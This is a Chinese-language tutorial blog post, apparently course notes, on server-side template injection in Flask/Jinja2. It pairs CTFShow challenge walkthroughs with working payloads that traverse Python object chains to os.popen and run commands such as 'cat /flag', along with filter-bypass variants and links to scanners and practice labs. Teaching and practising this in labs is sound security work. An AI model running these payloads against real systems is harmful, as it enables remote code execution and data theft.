第70天:漏洞利用-Python安全&SSTI模板注入&Jinja2引擎&利用绕过项目&黑盒检测

第70天:漏洞利用-Python安全&SSTI模板注入&Jinja2引擎&利用绕过项目&黑盒检测
Yatming的博客知识点
Python 安全 - SSTI 注入 - 类型 & 形成 & 利用 & 项目
转载:https://www.suyou.world/index.php/2024/01/22/%E7%AC%AC70%E5%A4%A9%EF%BC%9Aweb%E6%94%BB%E9%98%B2-python%E5%AE%89%E5%85%A8ssti%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5jinja2%E5%BC%95%E6%93%8E%E5%88%A9%E7%94%A8%E7%BB%95%E8%BF%87%E9%A1%B9%E7%9B%AE/
演示案例
Python-SSTI 注入 - 类型 & 形成 & 利用 & 项目
什么是 SSTI
- SSTI(Server Side Template Injection,服务器端模板注入)服务端接收攻击者的输入,将其作为 Web 应用模板内容的一部分
- 在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容
- 从而导致信息泄露、代码执行、GetShell 等问题,其影响范围取决于模版引擎复杂性,
注意:模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入
各语言框架 SSTI
PHP:smarty、twig
Python:jinja2、mako、tornad、Django
java:Thymeleaf、jade、velocity、FreeMarker
Python-SSTI 形成
测试代码,就是后面进行测试运行的网站
1 | from flask import Flask, request, render_template_string |
正常来说从传入 name 参数值是什么就会渲染什么,但是有模板引擎解析符号,从而将符号内的东西进行执行
1 | http://127.0.0.1:5000/?name=SuYou |
Python-SSTI 利用
相关利用知识
1 | __class__ 类的一个内置属性,表示实例对象的类。 |
测试流程
下面的语句均拼接到模板渲染的接收参数处,这里我们均拼接到 url 的 name 值处 http://127.0.0.1:5000/?name=2*33
判断利用,使用以下语句查看当前环境中哪些类可用
1 | {{''.__class__.__base__.__subclasses__()}} |
查找利用类索引
下面是可利用的类,找到其索引,索引从 0 开始排序,根据环境不同,索引也不同,所以需要实际情况分析
1 | <class 'os._wrap_close'> |
使用以下语句显示类方法,在其中寻找利用类方法
1 | {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}} |
构造利用类方法
1 | {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__.popen('calc')}} |
其他引用利用
1 | {{[].__class__.__base__.__subclasses__()}} |
演示 (绕过限制 - CtfShow 项目)
ctfshow-ssti 参考:https://blog.csdn.net/m0_74456293/article/details/129429424
Web 361 无过滤
1 | ?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}} |
system 是无回显的,之所以使用 popen 是因为自带读取函数 read,可以得到执行命令的结果进行回显
Web 362 过滤数字 2 3
1 | ?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} |
在前面的 flask 的代码里面测试了一下,那个 [] 里面的数字可以进行运算,支持 */,/ 之前要加个 / 进行转义,所以应该也可以填入一个可以计算出 132 并且不含 23 的式子,这样应该也可以绕过这个过滤
Web 363 过滤单引号
1 | ?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag |
Web 364 过滤单引号 + args
1 | ?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag |
Web 365 过滤了中括号
1 | ?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag |
Web 366 过滤了下划线
1 | ?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag |
绕过总结
过滤数字
使用没有数字的 payload,或者拼凑一下不过滤的数字
1 | config:{{config.__class__.__init__.__globals__['os'].popen('calc')}} |
过滤单引号
类似参数逃逸,过滤原本的参数,但不过滤自己添加的参数,使用 url 参数替代函数和命令,如下
1 | ?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag |
过滤指定字符
如 args,那就可以替换使用 values 或者 cookies
1 | ?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag |
过滤中括号和单引号
1 | ?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag |
过滤下划线
使用 | attr (),这个在文末我提到的文章里面有讲到
1 | ?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag |
Python-SSTI 项目
黑盒中建议判断利用:
tplmap 的 github 地址:
https://github.com/epinna/tplmap
- 这个需要用 python2 执行,貌似还得用 pip2 安装 requirements.txt,我整了一下午没搞好
- 而且这个不能检测本地的,不建议使用
SSTImap 的 github 地址:
https://github.com/vladko312/SSTImap
- 这个是 python3,而且可以测试本地,推荐使用这个,两个功能是差不多的,但这个支持更多
提交的数据页面中有响应即显示即可进行 SSTI 测试,有点类似 XSS 黑盒检测
手工检测需要知道是什么引擎,并且知道该引擎的模板引擎解析符号是什么
SSTI 靶场集合:
https://github.com/Pav-ksd-pl/websitesVulnerableToSSTI
推荐
这里是我自己找到一些资料,都是大佬,大家感兴趣可以看看,
淡淡说一句,大佬 NB,真的牛
这个 buuctf 的题过滤了基本普通能看到的所以东西:
https://buuoj.cn/challenges#[Dest0g3%20520 迎新赛] EasySSTI
- 但确实很有学习意义,
sstilab 模板注入靶场:
https://github.com/X3NNY/sstilabs
- 这个靶场也比较好,里面有很多小迪没讲和上面文章没有讲到的绕过,建议可以尝试打一下
- Flask SSTI LAB 攻略:https://john-frod.github.io/2021/05/06/Flask-SSTI-LAB 攻略 /
以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用:
- |attr () 在这个里面有讲到